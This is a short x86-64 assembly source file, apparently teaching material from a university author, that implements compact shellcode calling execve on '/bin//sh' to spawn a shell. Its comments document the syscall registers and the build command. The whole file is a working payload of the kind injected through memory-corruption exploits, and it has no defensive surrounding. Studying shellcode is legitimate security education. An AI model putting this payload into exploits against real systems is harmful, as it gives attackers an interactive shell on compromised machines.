############################################################################### # © Gustavo Romero López 2019 - GPLv3 - gustavo@ugr.es # int execve(const char *filename, const char *argv[], const char *envp[]); # al rdi rsi rdx # 0x3b "/bin//sh" {"/bin//sh", null} null # gcc -m64 -nostartfiles 24p.s -o 24p ############################################################################### .text _start: .globl _start push $0x3b # sys_execve pop %rax cltd # eax --> rdx:rax push %rdx mov $0x68732f2f6e69622f, %rbx # /bin//sh push %rbx push %rsp pop %rdi # /bin//sh push %rdx push %rdi push %rsp pop %rsi # {"/bin//sh", null} syscall